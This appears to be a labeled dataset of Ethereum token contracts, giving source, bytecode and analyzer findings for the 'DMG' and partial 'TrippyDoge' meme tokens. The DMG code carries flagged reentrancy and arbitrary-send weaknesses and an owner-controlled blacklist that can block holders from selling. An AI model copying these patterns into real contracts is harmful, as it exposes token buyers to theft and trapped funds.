81612ccb565b9050919050565b60006020820190508181036000830152612ff981612cee565b9050919050565b6000602082019050818103600083015261301981612d11565b9050919050565b6000602082019050818103600083015261303981612d34565b9050919050565b60006020820190506130556000830184612d57565b92915050565b600060a0820190506130706000830188612d57565b61307d6020830187612b25565b818103604083015261308f8186612ab8565b905061309e6060830185612aa9565b6130ab6080830184612d57565b9695505050505050565b60006020820190506130ca6000830184612d66565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313082613278565b915061313b83613278565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131705761316f6132d4565b5b828201905092915050565b600061318682613278565b915061319183613278565b9250826131a1576131a0613303565b5b828204905092915050565b60006131b782613278565b91506131c283613278565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fb576131fa6132d4565b5b828202905092915050565b600061321182613278565b915061321c83613278565b92508282101561322f5761322e6132d4565b5b828203905092915050565b600061324582613258565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329a82613278565b9050919050565b60005b838110156132bf5780820151818401526020810190506132a4565b838111156132ce576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546f6f206d616e7920746f6b656e732e00000000000000000000000000000000600082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136ba8161323a565b81146136c557600080fd5b50565b6136d18161324c565b81146136dc57600080fd5b50565b6136e881613278565b81146136f357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb553ba2bc3b59ac5d9379eaa7f0e0c6125fc9c71b80ee8e1ceace38130a3fb464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,891
0x03300D73f8095857787F14a5c9A49f1231B45438
/** *Submitted for verification at Etherscan.io on 2021-11-12 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DMG is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000* 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "DMG"; string private constant _symbol = "DMG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xCF10C415DFd34252983353A7d1CdCe9FFCBe1367); _feeAddrWallet2 = payable(0xCF10C415DFd34252983353A7d1CdCe9FFCBe1367); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610290578063b515566a146102b0578063c3c8cd80146102d0578063c9567bf9146102e5578063dd62ed3e146102fa57600080fd5b806370a0823114610233578063715018a6146102535780638da5cb5b1461026857806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c0578063313ce567146101e25780635932ead1146101fe5780636fc3eaec1461021e57600080fd5b806306fdde031461010e578063095ea7b31461014957806318160ddd1461017957806323b872dd146101a057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526003815262444d4760e81b6020820152905161014091906117a4565b60405180910390f35b34801561015557600080fd5b5061016961016436600461164d565b610340565b6040519015158152602001610140565b34801561018557600080fd5b5069152d02c7e14af68000005b604051908152602001610140565b3480156101ac57600080fd5b506101696101bb36600461160d565b610357565b3480156101cc57600080fd5b506101e06101db36600461159d565b6103c0565b005b3480156101ee57600080fd5b5060405160098152602001610140565b34801561020a57600080fd5b506101e061021936600461173f565b610414565b34801561022a57600080fd5b506101e061045c565b34801561023f57600080fd5b5061019261024e36600461159d565b610489565b34801561025f57600080fd5b506101e06104ab565b34801561027457600080fd5b506000546040516001600160a01b039091168152602001610140565b34801561029c57600080fd5b506101696102ab36600461164d565b61051f565b3480156102bc57600080fd5b506101e06102cb366004611678565b61052c565b3480156102dc57600080fd5b506101e06105d0565b3480156102f157600080fd5b506101e0610606565b34801561030657600080fd5b506101926103153660046115d5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061034d3384846109cb565b5060015b92915050565b6000610364848484610aef565b6103b684336103b185604051806060016040528060288152602001611975602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e3c565b6109cb565b5060019392505050565b6000546001600160a01b031633146103f35760405162461bcd60e51b81526004016103ea906117f7565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461043e5760405162461bcd60e51b81526004016103ea906117f7565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461047c57600080fd5b4761048681610e76565b50565b6001600160a01b03811660009081526002602052604081205461035190610efb565b6000546001600160a01b031633146104d55760405162461bcd60e51b81526004016103ea906117f7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034d338484610aef565b6000546001600160a01b031633146105565760405162461bcd60e51b81526004016103ea906117f7565b60005b81518110156105cc5760016006600084848151811061058857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105c48161190a565b915050610559565b5050565b600c546001600160a01b0316336001600160a01b0316146105f057600080fd5b60006105fb30610489565b905061048681610f7f565b6000546001600160a01b031633146106305760405162461bcd60e51b81526004016103ea906117f7565b600f54600160a01b900460ff161561068a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ea565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c8308269152d02c7e14af68000006109cb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070157600080fd5b505afa158015610715573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073991906115b9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078157600080fd5b505afa158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b991906115b9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080157600080fd5b505af1158015610815573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083991906115b9565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061086981610489565b60008061087e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e157600080fd5b505af11580156108f5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091a9190611777565b5050600f8054686c6b935b8bbd40000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099357600080fd5b505af11580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cc919061175b565b6001600160a01b038316610a2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ea565b6001600160a01b038216610a8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ea565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ea565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ea565b60008111610c175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ea565b6002600a556003600b556000546001600160a01b03848116911614801590610c4d57506000546001600160a01b03838116911614155b15610e2c576001600160a01b03831660009081526006602052604090205460ff16158015610c9457506001600160a01b03821660009081526006602052604090205460ff16155b610c9d57600080fd5b600f546001600160a01b038481169116148015610cc85750600e546001600160a01b03838116911614155b8015610ced57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d025750600f54600160b81b900460ff165b15610d5f57601054811115610d1657600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3a57600080fd5b610d4542601e61189c565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d8a5750600e546001600160a01b03848116911614155b8015610daf57506001600160a01b03831660009081526005602052604090205460ff16155b15610dbf576002600a556005600b555b6000610dca30610489565b600f54909150600160a81b900460ff16158015610df55750600f546001600160a01b03858116911614155b8015610e0a5750600f54600160b01b900460ff165b15610e2a57610e1881610f7f565b478015610e2857610e2847610e76565b505b505b610e37838383611124565b505050565b60008184841115610e605760405162461bcd60e51b81526004016103ea91906117a4565b506000610e6d84866118f3565b95945050505050565b600c546001600160a01b03166108fc610e9083600261112f565b6040518115909202916000818181858888f19350505050158015610eb8573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ed383600261112f565b6040518115909202916000818181858888f193505050501580156105cc573d6000803e3d6000fd5b6000600854821115610f625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ea565b6000610f6c611171565b9050610f78838261112f565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561102957600080fd5b505afa15801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906115b9565b8160018151811061108257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110a891309116846109cb565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110e190859060009086903090429060040161182c565b600060405180830381600087803b1580156110fb57600080fd5b505af115801561110f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e37838383611194565b6000610f7883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061128b565b600080600061117e6112b9565b909250905061118d828261112f565b9250505090565b6000806000806000806111a6876112fd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111d8908761135a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611207908661139c565b6001600160a01b038916600090815260026020526040902055611229816113fb565b6112338483611445565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161127891815260200190565b60405180910390a3505050505050505050565b600081836112ac5760405162461bcd60e51b81526004016103ea91906117a4565b506000610e6d84866118b4565b600854600090819069152d02c7e14af68000006112d6828261112f565b8210156112f45750506008549269152d02c7e14af680000092509050565b90939092509050565b600080600080600080600080600061131a8a600a54600b54611469565b925092509250600061132a611171565b9050600080600061133d8e8787876114be565b919e509c509a509598509396509194505050505091939550919395565b6000610f7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3c565b6000806113a9838561189c565b905083811015610f785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ea565b6000611405611171565b90506000611413838361150e565b30600090815260026020526040902054909150611430908261139c565b30600090815260026020526040902055505050565b600854611452908361135a565b600855600954611462908261139c565b6009555050565b6000808080611483606461147d898961150e565b9061112f565b90506000611496606461147d8a8961150e565b905060006114ae826114a88b8661135a565b9061135a565b9992985090965090945050505050565b60008080806114cd888661150e565b905060006114db888761150e565b905060006114e9888861150e565b905060006114fb826114a8868661135a565b939b939a50919850919650505050505050565b60008261151d57506000610351565b600061152983856118d4565b90508261153685836118b4565b14610f785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ea565b803561159881611951565b919050565b6000602082840312156115ae578081fd5b8135610f7881611951565b6000602082840312156115ca578081fd5b8151610f7881611951565b600080604083850312156115e7578081fd5b82356115f281611951565b9150602083013561160281611951565b809150509250929050565b600080600060608486031215611621578081fd5b833561162c81611951565b9250602084013561163c81611951565b929592945050506040919091013590565b6000806040838503121561165f578182fd5b823561166a81611951565b946020939093013593505050565b6000602080838503121561168a578182fd5b823567ffffffffffffffff808211156116a1578384fd5b818501915085601f8301126116b4578384fd5b8135818111156116c6576116c661193b565b8060051b604051601f19603f830116810181811085821117156116eb576116eb61193b565b604052828152858101935084860182860187018a1015611709578788fd5b8795505b838610156117325761171e8161158d565b85526001959095019493860193860161170d565b5098975050505050505050565b600060208284031215611750578081fd5b8135610f7881611966565b60006020828403121561176c578081fd5b8151610f7881611966565b60008060006060848603121561178b578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156117d0578581018301518582016040015282016117b4565b818111156117e15783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561187b5784516001600160a01b031683529383019391830191600101611856565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118af576118af611925565b500190565b6000826118cf57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156118ee576118ee611925565b500290565b60008282101561190557611905611925565b500390565b600060001982141561191e5761191e611925565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048657600080fd5b801515811461048657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122084c3ac3d5798a09724bd63f12fca4dff9bb40f20f1feb6c1e13c9438c2c6c9d864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,892
0xf726C17Ecc9653E987aCF16bB8d98Ac1007D2b3F
/** x420x TrippyDoge -- Don't trip on rugs, we'll protect ya! x420x Solidity contract checker for honeypots, malicious contracts, mint functions and fake renounce! We're launching on a legendary 420 date in order to live up to our name, TrippyDoge! Tg channel: https://t.me/TrippyDoge Website: https://trippydoge.co */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TrippyDoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TrippyDoge"; string private constant _symbol = "TrippyDoge"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x86B897382941FD4A8C9f910c49708f2F5812b738); address payable private _marketingAddress = payable(0x86B897382941FD4A8C9f910c49708f2F5812b738); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) 